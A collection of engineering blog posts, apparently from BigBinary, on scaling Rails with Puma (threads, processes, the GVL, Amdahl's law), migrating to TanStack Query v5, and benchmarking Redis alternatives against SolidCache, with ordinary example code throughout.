Let's say that T1' and T2' are the enhanced times. These are the times theapplication would take after the enhancement has been applied. In this case theenhancement will come in the form of increasing the threads in a process.

T1' will be same as T1 since it's the serial part. T2' will be lower thanT2 since we will parallelize some of the code. After the parallelization isdone, the enhanced version would look something like this.

It's clear that the serial part (T1) will limit how much speedup we can get nomatter how much we parallelize T2.

Computer scientist Gene Amdahl cameup with Amdahl's law which givesthe mathematical value for the overall speedup that can be achieved.

I made a video explaining how this formula came about.

<iframewidth="966"height="604"src="https://www.youtube.com/embed/2hYs2X6Fb1M?si=f-P_-pcwnotnyUKT"title="Amdahl's Law"frameborder="0"allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"allowfullscreen

</iframe>

Amdahl's law states that the theoretical speedup gained from parallelization isdirectly determined by the fraction of sequential code in the program.

Now, let's see how we can use Amdahl's law to determine the ideal number ofthreads.

The parallelizable portion in this case is the portion of the application thatspends time doing I/O. The non-parallelizable portion is the time spent by theapplication executing Ruby code. Remember that because of GVL, within a process,only one thread has access to CPU at any point of time.

Now we need to know what percentage of time our app spends doing I/O. This willbe the value p as per the video.

Later in this series, we'll show you how to calculate what percentage of thetime the Rails application is spending doing I/O. For this blog let's assumethat our application spends 37% of the time doing I/O i.e the value of p is0.37.

Let's calculate how much speedup we will get if we use one thread(n is 1). Nowlet's change n to 2 and get the speedup value. Similarly, we bump up n all theway to 15 and we record the speedup.

Now let's draw a graph between the overall speedup and the number of threads.

From the graph, it can be seen that the speedup increases as the number ofthreads increases, but the rate of increase diminishes as more threads areadded. This is because the serial portion remains constant and is unaffected bythe increase in threads.

By examining the graph we can observe that the speedup gain from increasingthreads seem significant up to 4 threads, after which the incremental gain inspeedup starts to plateau.

Remember that these are theoretical maximums based on Amdahl's law. In practice,we need to use fewer threads as adding more threads can cause an increase inmemory usage and GVL contention, thereby causing latency spikes.

It's obvious that if we add more threads then more requests can be handled byPuma concurrently. What it means is that requests will be waiting for lessertime at the load balancer layer as there are more Puma threads waiting to pickup the request for processing. But in part 1, we saw that just because we havemore threads, it doesn't mean things will move faster. More threads might causeother threads to wait for the GVL.

There is no point in accepting requests if our web server can't respond to itpromptly. Whereas, if the max_threads value is set to a lower value, requestswill queue up at the Load Balancer layer which is better than overwhelming theapplication server.

If more and more requests are waiting at the load balancer level, then therequest queue time will shoot up. The right way to solve this problem is to addmore Puma processes. It is advised to increase the capacity of the Puma serverby adding more processes rather than increasing the number of threads.

Hereis a middleware that can be used to track the request queue time. This code istaken fromjudoscale.

Note that Request Queue Time is the time spent waiting before the request ispicked up for processing.

This middleware will only work if the load balancer is adding theHTTP_REQUEST_START header. Heroku automatically adds this header.

Now we need to use this middleware and for that open config/application.rbfile and we need to add the following line.

config.middleware.use RequestQueueTimeMiddleware

This was Part 3 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

Let's start from the basics. Let's see how a standard web application mostlybehaves.

Web applications and CPU usage

Code in a web application typically works like this.

• Do some data manipulation.
• Make a few database calls.
• Do more calculations.
• Make some network calls.
• Do more calculations.

Visually, it'll look something like this.

CPU work includes operations like view rendering, string manipulation, any kindof business logic processing etc. In short, anything that involves Ruby codeexecution can be considered CPU work. For the rest of the work, like databasecalls, network call etc. CPU is idle. Another way of looking at when the CPU isworking and when it's idle is this picture.

When a program is using CPU, then that portion of the code is called CPUbound and when program is not using CPU, then that portion of the code iscalled IO bound.

CPU bound or IO bound

Let us understand what CPU bound truly means. Consider the following pieceof code.

10.times do  Net::HTTP.get(URI.parse("https://bigbinary.com"))end

In the above code, we are hitting the BigBinary website 10 times sequentially.Running the above code takes time because making a network connection is atime-consuming process.

Let's assume the code above takes 10 seconds to finish. We want the code to runfaster. So we bought a better CPU for the server. Do you think now the code willrun faster?

It will not. That's because the above code is not CPU bound. CPU is not thelimiting factor in this case. This code is I/O bound.

A program is CPU bound if the program will run faster if the CPU werefaster.

A program is I/O bound if the program will run faster if the I/O operationswere faster.

Some of the examples of I/O bound operations are:

• making database calls: reading data from tables, creating new tables etc.
• making network calls: reading data from a website, sending emails etc.
• dealing with file systems: reading files from the file system.

Previously, we saw that our CPU was idle sometimes. Now we know that thetechnical term for that idleness is IO bound let's update the picture.

When a program is I/O bound, the CPU is not doing anything. We don't wantprecious CPU cycles to be wasted. So what can we do so that the CPU is fullyutilized?

So far we have been dealing with only one thread. We can increase the number ofthreads in the process. In this way, whenever the CPU is done executing CPUbound code of one thread and that thread is doing an I/O bound operation, thenthe CPU can switch and handle the work from another thread. This will ensurethat the CPU is efficiently utilized. We will look at how the switching betweenthreads works a bit later in the article.

Concurrency vs Parallelism

Concurrency and parallelism sound similar, and in your daily life, you cansubstitute one for another, and you will be fine. However, from the computerengineering point of view, there is a difference between work happeningconcurrently and work happening in parallel.

Imagine a person who has to respond to 100 emails and 100 Twitter messages. Theperson can reply to an email and then reply to a Twitter message, then do thesame all over again: reply to an email and reply to a Twitter message.

The boss will see the count of pending emails and Twitter messages go down from100 to 99 to 98. The boss might think that the work is happening in "parallel."But that's not true.

Technically, the work is happeningconcurrently. For a system to be parallel, itshould have two or more actions executed simultaneously. In this case, at anygiven moment, the person was either responding to email or responding toTwitter.

Another way to look at it is that Concurrency is about dealing with lots ofthings at the same time. Parallelism is about doing lots of things at thesame time.

If you find it hard to remember which one is which then remember thatconcurrency starts with the word con. Concurrency is the conman. It'spretending to be doing things "in parallel," but it's only doing thingsconcurrently.

Understanding GVL in Ruby

GVL (Global VM Lock) in Ruby is a mechanism that prevents multiple threads fromexecuting Ruby code simultaneously. The GVL acts like a traffic light in aone-lane bridge. Even if multiple cars (threads) want to cross the bridge at thesame time, the traffic light (GVL) allows only one car to pass at a time. Onlywhen one car has made it safely to the other end, the second car is allowed bythe traffic light(GVL) to start.

Ruby's memory management(like garbage collection) and some other parts of Rubyare not thread-safe. Hence, GVL ensures that only one thread runs Ruby code at atime to avoid any data corruption.

When a thread "holds the GVL", it has exclusive access to modify the VMstructures.

It's important to note that GVL is there to protect how Ruby works and managesRuby's internal VM state. GVL is not there to protect our application code. It'sworth repeating. The presence of GVL doesn't mean that we can write our code ina thread unsafe manner and expect Ruby to take care of all threading issues inour code.

Ruby offers tools like Mutex andconcurrent-ruby gem tomanage concurrent code. For example, the followingcode(source) is not threadsafe and the GVL will not protect our code from race conditions.

from = 100_000_000to = 050.times.map do  Thread.new do    while from > 0      from -= 1      to += 1    end  endend.map(&:join)puts "to = #{to}"

When we run this code, we might expect the result to always equal 100,000,000since we're just moving numbers from from to to. However, if we run itmultiple times, we'll get different results.

This happens because multiple threads are trying to modify the same variables(from and to) simultaneously without any synchronization. This is called racecondition and it happens because the operation to += 1 and from -= 1 arenon-atomic at the CPU-level. In simpler terms operation to += 1 can be writtenas three CPU-level operations.

1. Read current value of to.
2. Add 1 to it.
3. Store the result back to to.

To fix this race condition the above code can be re-written using aMutex.

from = 100_000_000to = 0lock = Mutex.new50.times.map do  Thread.new do    while from > 0      lock.synchronize do        if from > 0          from -= 1          to += 1        end      end    end  endend.map(&:join)puts "to = #{to}"

It's worth nothing that Ruby implementations like JRuby and TruffleRuby don'thave a GVL.

GVL dictates how many processes we will need

Let's say that we deploy the production app to AWS's EC2's t2.medium machine.This machine has 2 vCPU as we can see from this chart.

Without going into CPU vs vCPU discussion, let's keep things simple and assumethat the AWS machine has two cores. So we have deployed our code on a machinewith two cores but we have only one process running in production. No worries.We have three threads. So three threads can share two cores. You would thinkthat something like this should be possible.

But it's not possible. Ruby doesn't allow it.

Currently, it's not possible because Thread 1 and Thread 2 belong to the sameprocess. This is because of the Global VM Lock (GVL).

The GVL ensures that only one thread can execute CPU bound code at a time withina single Ruby process. The important thing to note here is that this lock isonly for the CPU bound code and only for the same process.

In the above case, all three threads can do DB operations in parallel. But twothreads of the same process can't be doing CPU operations in parallel.

We can see that "Thread 1" is using Core 1. Core 2 is available but "Thread 2"can't use Core 2. GVL won't allow it.

Again, let's revisit what GVL does. For the CPU bound code GVL will ensure thatonly one thread from a process can access CPU.

So now the question is how do we utilize Core 2. Well, the GVL is applied at aprocess level. Threads of the same process are not allowed to do CPU operationsin parallel. Hence, the solution is to have more processes.

To have two Puma processes we need to set the value of env variableWEB_CONCURRENCY to 2 and reboot Puma.

WEB_CONCURRENCY=2 bundle exec rails s

Now we have two processes. Now both Core 1 and Core 2 are being utilized.

What if the machine has 5 cores. Do we need 5 processes?

Yes. In that case, we will need to have 5 processes to utilize all the cores.

Therefore for achieving maximum utilization, the rule of thumb is that thenumber of processes i.e WEB_CONCURRENCY should be set to the number of coresavailable in the machine.

Thread switching

Now let's see how switching between threads happens in a multi-threadedenvironment. Note that the number of threads is 2 in this case.

As we can see, the CPU switches between Thread 1 and Thread 2 whenever it'sidle. This is great. We don't waste CPU cycles now, as we saw in thesingle-threaded case. But the switching logic is much more nuanced than what isshown in the picture.

Ruby manages multiple threads at two levels: the operating system level and theRuby level. When we create threads in Ruby, they are "native threads" - meaningthey are real threads that the operating system (OS) can see and manage.

All operating systems have a component called the scheduler. In Linux, it'scalled theCompletely Fair Scheduleror CFS. This scheduler decides which thread gets to use the CPU and for howlong. However, Ruby adds its own layer of control through the Global VM Lock(GVL).

In Ruby a thread can execute CPU bound code only if it holds the GVL. The RubyVM makes sure that a thread can hold the GVL for up to 100 milliseconds. Afterthat the thread will be forced to release GVL to another thread if there isanother thread waiting to execute CPU bound code. This ensures that the waitingRuby threads are notstarved.

When a thread is executing CPU-bound code, it will continue until either:

1. It completes its CPU-bound work.
2. It hits an I/O operation (which automatically releases the GVL).
3. It reaches the limit of 100ms.

When a thread starts running, the Ruby VM uses a background timer thread at theVM level that checks every 10ms how long the current Ruby thread has beenrunning. If the thread has been running longer than the thread quantum (100ms bydefault), the Ruby VM takes back the GVL from the active thread and gives it tothe next thread waiting in the queue. When a thread gives up the GVL (eithervoluntarily or is forced to give up), the thread goes to the back of the queue.

The default thread quantum is 100ms and starting from Ruby 3.3, it can beconfigured using the RUBY_THREAD_TIMESLICE environment variable.Here is the link to the discussion.This environment variable allows fine-tuning of thread scheduling behavior - asmaller quantum means more frequent thread switches, while a larger quantummeans fewer switches.

Let's see what happens when we have two threads.

1. T1 completes quantum limit of 100ms and gives up the GVL to T2.
2. T2 completes 50ms of CPU work and voluntarily gives up the GVL to do I/O.
3. T1 completes 75 ms of CPU work and voluntarily gives the GVL to do I/O.
4. Both T1 and T2 are doing I/O and doesn't want the GVL.

It means that Thread 2 would be a lot faster if it had more access to CPU. Tomake CPU instantly available, we can have lesser number of threads CPU has tohandle. But we need to play a balancing game. If the CPU is idle then we arepaying for the processing cost for no reason. If the CPU is extremely busy thenthat means requests will take longer to process.

Thread switching can lead to misleading data

Let's take a look at a simple code given below. This code is taken froma blogby Jean Boussier.

start = Time.nowdatabase_connection.execute("SELECT ...")query_duration = (Time.now - start) * 1000.0puts "Query took: #{query_duration.round(2)}ms"

The code looks simple. If the result is say Query took: 80ms then you wouldthink that the query actually took 80ms. But now we know two things

• Executing database query is an IO operation (IO bound)
• Once the IO bound operation is done then the thread might not immediately gethold of the GVL to execute CPU bound code.

Think about it. What if the query took only 10ms and the rest of the 70msThe thread was waiting for the CPU because of the GVL. The only way to knowwhich portion took how much time is by instrumenting the GVL.

Visualizing the effect of the GVL

To better understand the effect of multiple threads when it comes to Ruby'sperformance, let's do a quick test. We'll start with a cpu_intensive methodthat performs pure arithmetic operations in nested loops, creating a workloadthat is heavily CPU dependent.

Hereis the code.

Running this script produced the following output:

Running demonstrations with GVL tracing...Starting demo with 1 threads doing CPU-bound workTime elapsed: 7.4921 secondsStarting demo with 3 threads doing CPU-bound workTime elapsed: 7.8146 seconds

From the output, we can see that for CPU-bound work, a single thread performedbetter. Why? Let's visualize the result with the help of the traces generated inthe above script using the gvl-tracinggem. The trace files can be visualized usingPerfetto, which provides a timeline view showing howthreads interact with the GVL.

We can see above that in the case of CPU-bound work if we have a single threadthen it's not waiting for GVL. However, if we have three threads then eachthread is waiting for GVL multiple times.

Understanding the advantage of multiple threads in mixed workloads

Now let's look at mixed workloads in single-threaded and multi-threadedenvironment. We'll use a separate script with a mixed_workload method thatcombines CPU-bound work with I/O operations. We use IO.select with blockingbehavior to simulate I/O operations. This creates actual I/O blocking thatreleases the GVL and shows as "waiting" in the GVL trace, accuratelyrepresenting real-world I/O operations like database queries.

Hereis the code for the mixed workload test.

Running this script with 1 thread and 3 threads produced the following output:

Running demonstrations with GVL tracing...Starting demo with 1 thread doing Mixed I/O and CPU workTime elapsed: 9.32 secondsStarting demo with 3 threads doing Mixed I/O and CPU workTime elapsed: 6.1344 seconds

The key advantage of multiple threads in mixed workloads lies in how the GVL ismanaged during I/O operations. When a thread encounters an I/O operation (like adatabase query, network call, or file read), it voluntarily releases the GVL.This is fundamentally different from CPU-bound work, where threads compete forthe GVL and one thread must wait for another to finish or reach the 100msquantum limit.

During I/O operations, the thread is essentially blocked waiting for an externalresource (database, network, disk). While waiting, the thread doesn't need theGVL because it's not executing Ruby code. This creates an opportunity for otherthreads to acquire the GVL and do useful CPU work. The result is that CPU cyclesthat would otherwise be wasted during I/O waits are now being utilizedproductively by other threads.

Let's visualize this with the single-threaded case first:

In the single-threaded case, the threads wait for I/O operations to complete.During these I/O waits, the CPU sits idle. The thread performs some CPU work,then waits for I/O, then does more CPU work, then waits for I/O again. Duringall the I/O wait periods, no productive work is happening. The CPU is availablebut there's no other thread to utilize it.

Now let's look at the multi-threaded case with three threads:

When there are three threads, the situation changes a bit. Threads nowoccasionally spend time waiting for the GVL, but the overall throughput issignificantly better.

When Thread 1 releases the GVL to perform I/O, Thread 2 can immediately acquireit and start executing CPU-bound work. While Thread 2 is working, Thread 1 mightstill be waiting for its I/O operation to complete. Then when Thread 2 releasesthe GVL for its own I/O operation, Thread 3 can acquire it. This creates apipeline effect where threads are constantly handing off the GVL to each otherensuring that the CPU is almost always doing useful work.

The small amount of GVL contention we see in the multi-threaded case (threadswaiting for GVL) is more than compensated for by the elimination of idle CPUtime. Instead of the CPU sitting idle during I/O operations, other threads keepit busy.

This is why Rails applications with typical workloads (lots of database queries,API calls, and other I/O operations) benefit significantly from having multiplethreads.

Why can't we increase the thread count to a really high value?

In the previous section, we saw that increasing the number of threads can helpin utilizing the CPU better. So why can't we increase the number of threads to areally high value? Let us visualize it.

In the hope of increasing performance, let us bump up the number of threads inthe previous code snippet to 20 and see the gvl-tracing result.

As we can see in the above picture, the amount of GVL contention is massivehere. Threads are waiting to get a hold of the GVL. Same will happen inside aPuma process if we increase the number of threads to a very high value. As weknow, each request is handled by a thread. GVL contention therefore, means thatthe requests keep waiting, thereby increasing latency.

What's next

In the coming blogs, we'll see how we can figure out the ideal value formax_threads, both theoretically and empirically, based on our application'sworkload.

This was Part 2 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

If we dorails newto create a new Railsapplication,Pumawill be the default web server. Let's startby explaining how Puma handles requests.

How does Puma handle requests?

Puma listens to incoming requests on a TCP socket. When a request comes in, thenthat request is queued up in the socket. The request is then picked up by a Pumaprocess. In Puma, a process is a separate OS process that runs an instance ofthe Rails application.

Note that Puma official documentation calls a Puma process a Puma worker. Sincethe term "worker" might confuse people with background workers like Sidekiq orSolidQueue, in this article, we have used the word Puma process at a few placesto remove any ambiguity.

Now, let's look at how a request is processed by Puma step-by-step.

1. All the incoming connections are added to the socket backlog, which is an OSlevel queue that holds pending connections.

2. A separate thread (created by theReactor class) reads theconnection from the socket backlog. As the name suggests, this Reactor classimplements thereactor pattern. The reactorcan manage multiple connections at a time thanks to non-blocking I/O and anevent-driven architecture.

3. Once the incoming request is fully buffered in memory, the request is passedto the thread pool where the request resides in the @todo array.

4. A thread in the thread pool pulls a request from the @todo array andprocesses it. The thread calls the Rack application, which, in our case is aRails application, and generates a response.

5. The response is then sent back to the client via the same connection. Oncethis is complete, the thread is released back to the thread pool to handlethe next item from the @todo array.

Modes in Puma

1. Single Mode: In single mode, only a single Puma process boots and doesnot have any additional child processes. It is suitable only for applicationswith low traffic.

   

2. Cluster Mode: In cluster mode, Puma boots up a master process, whichprepares the application and then invokes thefork() system call tocreate one or more child processes. These processes are the ones that areresponsible for handling requests. The master process monitors and managesthese child processes.

Default Puma configuration in a new Rails application

When we create a new Rails 8 or higher application, the default Pumaconfig/puma.rb will have the following code.

Please note that we are mentioning Rails 8 here because the Puma configurationis different in prior versions of Rails.

threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)threads threads_count, threads_countrails_env = ENV.fetch("RAILS_ENV", "development")environment rails_envcase rails_envwhen "production"  workers_count = Integer(ENV.fetch("WEB_CONCURRENCY", 1))  workers workers_count if workers_count > 1  preload_app!when "development"  worker_timeout 3600end

For a brand new Rails application, the env variables RAILS_MAX_THREADS andWEB_CONCURRENCY won't be set. This means threads_count will be set to 3 andworkers_count will be 1.

Now let's look at the second line from the above mentioned code.

threads threads_count, threads_count

In the above code, threads is a method to which we are passing two arguments.The default value of threads_count is 3. So effectively, we are calling methodthreads like this.

threads(3, 3)

The threads method in Puma takes two arguments: min and max. These argumentsspecify the minimum and maximum number of threads that each Puma process willuse to handle requests. In this case Puma will initialize 3 threads in thethread pool.

Now let's look at the following line from the above mentioned code.

workers workers_count if workers_count > 1

The value of workers_count in this case is 1, so Puma will run in singlemode. As mentioned earlier in Puma a worker is basically a process. It's notbackground job worker.

What we have seen is that if we don't specify RAILS_MAX_THREADS orWEB_CONCURRENCY then, by default, Puma will boot a single process and thatprocess will have three threads. In other words Rails will boot with the abilityto handle 3 requests concurrently.

This is the default value for Puma for Rails booting in development or inproduction mode - a single process with three threads.

Configuring Puma's concurrency and parallelism

When it comes to concurrency and parallelism in Puma, there are two primaryparameters we can configure: the number of threads each process will have andthe number of processes we need.

To figure out the right value for each of these parameters, we need to know howRuby works. Specifically, we need to know how GVL in Ruby works and how itimpacts the performance of Rails applications.

We also need to know what kind of Rails application it is. Is it a CPU intensiveapplication, IO intensive or somewhere in between.

Don't worry in the next blog, we will start from the basics and will discuss allthis and much more.

This was Part 1 of our blog series onscaling Rails applications. If any part of theblog is not clear to you then please write to us atLinkedIn,Twitter orBigBinary website.

Same with deploying to production. You need to change your database. Other thanthat it comes with sane defaults. You don't really need to know what'sRAILS_MAX_THREADS and what's WEB_CONCURRENCY. However, as your applicationstarts getting more traffic, you want to scale your application.

Over the last 13 years of consultancy at BigBinary, we have seen all types ofapplications.

We have seen Rails applications which are IO heavy like scraping websites. Thereare applications which are heavy on background jobs. Then there are flash salesites where there is no traffic one minute and the next minute there are tons oftraffic. Then there are ticketing sites.

Each application has its own challenges.

If an application is not properly tuned, then we can run into all kinds ofissues. You can run out of memory or database connections. In some cases, becauseof the wrong configuration, Sidekiq jobs were failing and these jobs continued toget enqueued which made the situation worse.

To solve all these types of issues, we need to know what's actuallyhappening. And that's what we will do. We will look at under the hood to see howRails works, how Puma works, how connection pooling works, how to tune Sidekiqand how to measure what we need to know to make decisions.

It's a journey to understand from the ground up how to scale Rails applications.This page will have links to all the future blogs. You can follow the ScalingRails series by joining the newsletter or following us ontwitter orLinkedIn. We even have anRSS feed.

Part 1 - Understanding how Puma handles requests

• How Puma handles requests
• Default Puma configuration in a new Rails application

Part 2 - GVL in Ruby and the impact of GVL in scaling Rails applications

• Web applications and CPU usage
• CPU bound or IO bound
• Concurrency vs Parallelism
• Understanding the GVL
• GVL dictates how many processes you will need
• Thread switching
• Visualizing the effect of the GVL

Part 3 - Amdahl's Law: The Theoretical Relationship Between Speedup and Concurrency

• Amdahl's law
• Relationship between speedup gained and the number of threads
• Ideal number of threads in a process
• Request queue time

Part 4 - Finding ideal number of threads per process using GVL Instrumentation

• GVL instrumentation using perfm
• Determining the I/O workload of an application using the GVL data
• Empirically determining the ideal number of Puma threads for an application

Part 5 - Understanding Active Record Connection Pooling

• Database connection pooling
• Active Record connection pool implementation
• Connection pool configuration options
• Active Record connection pool reaper
• How many database connections will the web and background processes utilize atmaximum?
• How does using load_async affect the connection usage?
• Setting database pool size configuration
• PgBouncer
• Tracking down ActiveRecord::ConnectionTimeoutError
• Monitoring Active Record connection pool stats

Part 6 - Understanding Queueing Theory

• Queueing systems
• Basic terminology in queueing theory
• Little's law
• The knee curve
• Theoretical parallelism
• Concurrency and effective parallelism

In this blog, well explain the main updates in TanStack Query v5 and show howto make the switch smoothly.

For a complete list of changes, check out theTanStack Query v5 Migration Guide.

Simplified Function Signatures

In previous versions of React Query, functions like useQuery and useMutationhad multiple type overloads. This not only made type maintenance morecomplicated but also led to the need for runtime checks to validate the types ofparameters.

To streamline the API, TanStack Query v5 introduces a simplified approach: asingle parameter as an object containing the main parameters for each function.

• queryKey / mutationKey
• queryFn / mutationFn
• options

Below are some examples of how commonly used hooks and queryClient methodshave been restructured.

• Hooks

// before (Multiple overloads)useQuery(key, fn, options);useInfiniteQuery(key, fn, options);useMutation(fn, options);useIsFetching(key, filters);useIsMutating(key, filters);// after (Single object parameter)useQuery({ queryKey, queryFn, ...options });useInfiniteQuery({ queryKey, queryFn, ...options });useMutation({ mutationFn, ...options });useIsFetching({ queryKey, ...filters });useIsMutating({ mutationKey, ...filters });

• queryClient Methods:

// before (Multiple overloads)queryClient.isFetching(key, filters);queryClient.getQueriesData(key, filters);queryClient.setQueriesData(key, updater, filters, options);queryClient.removeQueries(key, filters);queryClient.cancelQueries(key, filters, options);queryClient.invalidateQueries(key, filters, options);// after (Single object parameter)queryClient.isFetching({ queryKey, ...filters });queryClient.getQueriesData({ queryKey, ...filters });queryClient.setQueriesData({ queryKey, ...filters }, updater, options);queryClient.removeQueries({ queryKey, ...filters });queryClient.cancelQueries({ queryKey, ...filters }, options);queryClient.invalidateQueries({ queryKey, ...filters }, options);

This approach ensures developers can manage and pass parameters more cleanly,while maintaining a more manageable codebase with fewer type issues.

Callbacks on useQuery and QueryObserver have been removed

A significant change in TanStack Query v5 is the removal of callbacks such asonError, onSuccess, and onSettled from useQuery and QueryObserver.This change was made to avoid potential misconceptions about their behavior andto ensure more predictable and consistent side effects.

Previously, we could define onError directly within the useQuery hook tohandle side effects, such as showing error messages. This eliminated the needfor a separate useEffect.

const useUsers = () => {  return useQuery({    queryKey: ["users", "list"],    queryFn: fetchUsers,    onError: error => {      toast.error(error.message);    },  });};

With the removal of the onError callback, we now need to handle side effectsusing Reacts useEffect.

const useUsers = () => {  const query = useQuery({    queryKey: ["users", "list"],    queryFn: fetchUsers,  });  React.useEffect(() => {    if (query.error) {      toast.error(query.error.message);    }  }, [query.error]);  return query;};

By using useEffect, the issue with this approach becomes much more apparent.For instance, if useUsers() is called twice within the application, it willtrigger two separate error notifications. This is clear when inspecting theuseEffect implementation, as each component calling the custom hook registersan independent effect. In contrast, with the onError callback, the behaviormay not be as clear. We might expect errors to be combined, but they are not.

For these types of scenarios, we can use the global callbacks on thequeryCache. These global callbacks will run only once for each query andcannot be overwritten, making them exactly what we need for more predictableside effect handling.

const queryClient = new QueryClient({  queryCache: new QueryCache({    onError: error => toast.error(`Something went wrong: ${error.message}`),  }),});

Another common use case for callbacks was updating local state based on querydata. While using callbacks for state updates can be straightforward, it maylead to unnecessary re-renders and intermediate render cycles with incorrectvalues.

For example, consider the scenario where a query fetches a list of 3 users andupdates the local state with the fetched data.

export const useUsers = () => {  const [usersCount, setUsersCount] = React.useState(0);  const { data } = useQuery({    queryKey: ["users", "list"],    queryFn: fetchUsers,    onSuccess: data => {      setUsersCount(data.length);    },  });  return { data, usersCount };};

This example involves three render cycles:

1. Initial Render: The data is undefined and usersCount is 0 while the queryis fetching, which is the correct initial state.
2. After Query Resolution: Once the query resolves and onSuccess runs, datawill be an array of 3 users. However, since setUsersCount is asynchronous,usersCount will remain 0 until the state update completes. This is wrongbecause values are not in-sync.
3. Final Render: After the state update completes, usersCount is updated toreflect the number of users (3), triggering a re-render. At this point, bothdata and usersCount are in sync and display the correct values.

Updated the behavior of refetchInterval callback function

The refetchInterval callback now only receives the query object as itsargument, instead of both data and query as it did before. This changesimplifies how callbacks are invoked and it resolves some typing issues thatarose when callbacks were receiving data transformed by the select option.

To access the data within the query object, we can now use query.state.data.However, keep in mind that this will not include any transformations applied bythe select option. If we need to access the transformed data, we'll need tomanually reapply the transformation.

For example, consider the following code snippet:

const useUsers = () => {  return useQuery({    queryKey: ["users", "list"],    queryFn: fetchUsers,    select: data => data.users,    refetchInterval: (data, query) => {      if (data?.length > 0) {        return 1000 * 60; // Refetch every minute if there is data      }      return false; // Don't refetch if there is no data    },  });};

This can now be refactored as follows:

const useUsers = () => {  return useQuery({    queryKey: ["users", "list"],    queryFn: fetchUsers,    select: data => data.users,    refetchInterval: query => {      if (query.state.data?.users?.length > 0) {        return 1000 * 60; // Refetch every minute if there is data      }      return false; // Don't refetch if there is no data    },  });};

Similarly, the refetchOnWindowFocus, refetchOnMount, andrefetchOnReconnect callbacks now only receive the query as an argument.

Below are the changes to the type signature for the refetchInterval callbackfunction:

  // before  refetchInterval: number | false | ((data: TData | undefined, query: Query)    => number | false | undefined)  // after  refetchInterval: number | false | ((query: Query) => number | false | undefined)

RenamedcacheTimetogcTime

The term cacheTime is often misunderstood as the duration for which data iscached. However, it actually defines how long data remains in the cache after aquery becomes unused. During this period, the data remains active andaccessible. Once the query is no longer in use and the specified cacheTimeelapses, the data is considered for "garbage collection" to prevent the cachefrom growing excessively. Therefore, the term gcTime more accurately describesthis behavior.

  const MINUTE = 1000 * 60;  const queryClient = new QueryClient({    defaultOptions: {      queries: {  -      // cacheTime: 10 * MINUTE, // before  +      gcTime: 10 * MINUTE, // after      },    },  })

Removed keepPreviousDataoption in favor ofplaceholderData

The keepPreviousData option and the isPreviousData flag have been removed inTanStack Query v5, as their functionality was largely redundant with theplaceholderData and isPlaceholderData options.

To replicate the behavior of keepPreviousData, the previous query data is nowpassed as a parameter to the placeholderData option. This option can accept anidentity function to return the previous data, effectively mimicking the samebehavior. Additionally, TanStack Query provides a built-in utility function,keepPreviousData, which can be used directly with placeholderData to achievethe same effect as in previous versions.

Heres how we can use placeholderData to replicate the functionality ofkeepPreviousData:

  import {    useQuery,  +  keepPreviousData // Built-in utility function  } from "@tanstack/react-query";  const {    data,  -  // isPreviousData,  +  isPlaceholderData, // New  } = useQuery({    queryKey,    queryFn,  - // keepPreviousData: true,  + placeholderData: keepPreviousData // New  });

Infinite queries now need aninitialPageParam

In previous versions of TanStack Query, undefined was passed as thedefault page parameter to the query function in infinite queries. This led topotential issues with non-serializable undefined data being stored in thequery cache.

To resolve this, TanStack Query v5 introduces an explicit initialPageParamparameter in the infinite query options. This ensures that the page parameter isalways defined, preventing caching issues and making the query state morepredictable.

  useInfiniteQuery({    queryKey,  -  // queryFn: ({ pageParam = 0 }) => fetchSomething(pageParam),    queryFn: ({ pageParam }) => fetchSomething(pageParam),  +  initialPageParam: 0, // New    getNextPageParam: (lastPage) => lastPage.next,  })

Status and flag updates

The loading status is now called pending, and the isLoading flag has beenrenamed to isPending. This change also applies to mutations.

Additionally, a new isLoading flag has been added for queries. It is nowdefined as the logical AND of isPending andisFetching(isPending && isFetching). This means that isLoading behaves thesame as the previous isInitialLoading. However, since isInitialLoading isbeing phased out, it will be removed in the next major version.

We explored several new contenders like Valkey,DragonflyDB, and DiceDB,which serve as drop-in Redis replacements. We also looked at Rails' ownSolidCache, which challenges in-memorystorage by favoring database-based approach. For this comparison, we included atuned SolidCache for PostgreSQL,as suggested by Andrew Atkinson. We also includedSolidCache with sqlite3,inspired by Stephen Margheim, who claims to offer significant performance gains.Finally, we added litecache with sqlite3to compare it directly against SolidCache.

Although SolidCache brings various advantages to Rails, this benchmarkingfocused solely on pure performance.

Benchmarking details

We usedthis scriptfor benchmarking. It performed 100k read and write operations on a DigitalOceandroplet with a 4GB RAM, 25GB SSD Ubuntu 24.10 x64 setup running a Rails 8application.

In the case of "Single thread benchmarking" only one thread was created. "Multithread benchmarking" had five threads.

The data gathered is based on running the same tests five times, with theaverages calculated.

A simpler version of the script looks like this.

require "benchmark"# Run it in the SolidCache with PG-tuned setup# ActiveRecord::Base#   .connection#   .execute("SELECT pg_prewarm('solid_cache_entries')")# Run the benchmarking for 100k reads and writesn = 100_000def cache_fetch(i)  Rails.cache.fetch(["key", i], expires_in: 5.minutes) do    "Hello World!"  endend# Clear the existing cacheRails.cache.clearputs "\nSingle thread:"Benchmark.bm(6) do |x|  x.report("write") {    n.times { |i| cache_fetch(i) }  }  x.report("read") {    n.times { |i| cache_fetch(i) }  }end# Spawn "x" threads and run "n" operations combineddef spawn_threads(x = 5, n)  threads = []  x.times do    threads << Thread.new do      (n/x).times { |i| cache_fetch(i) }    end  end  threads.each(&:join)end# Clear cache again before running another benchmarkRails.cache.clearputs "\nMultiple threads:"Benchmark.bm(6) do |x|  x.report("write") {    spawn_threads(5, n)  }  x.report("read") {    spawn_threads(5, n)  }end

Single thread performance

For our comparison, we used Redis as a benchmark.

Memcached performs similarly to Redis, with Redis having a slight edge in thebenchmark results. However, this difference is unlikely to be significant in areal-world application.

Valkey and DiceDB deliver similar performance, with Valkey having a slight edgein both read and write operations. However, Redis still remains 1.5x faster thanboth.

DragonflyDB (not shown in the graph) performed significantly slower in thebenchmarks, which is why it was excluded. However, its performance in Rails 7was comparable to Valkey, suggesting it may require optimizations for Rails 8.

SolidCache on PostgreSQL is approximately twice as slow as Redis for readoperations and the slowest for writes among all options. However, the tunedversion improves performance significantly, making it 1.5x faster than thestandard PostgreSQL setup. Consider optimizing your cache database if you wantto get maximum performance benefits.

SolidCache with SQLite3 has shown significant improvement, with read speeds nowcomparable to Redis and write speeds surpassing those of a tuned PostgreSQLsetup.

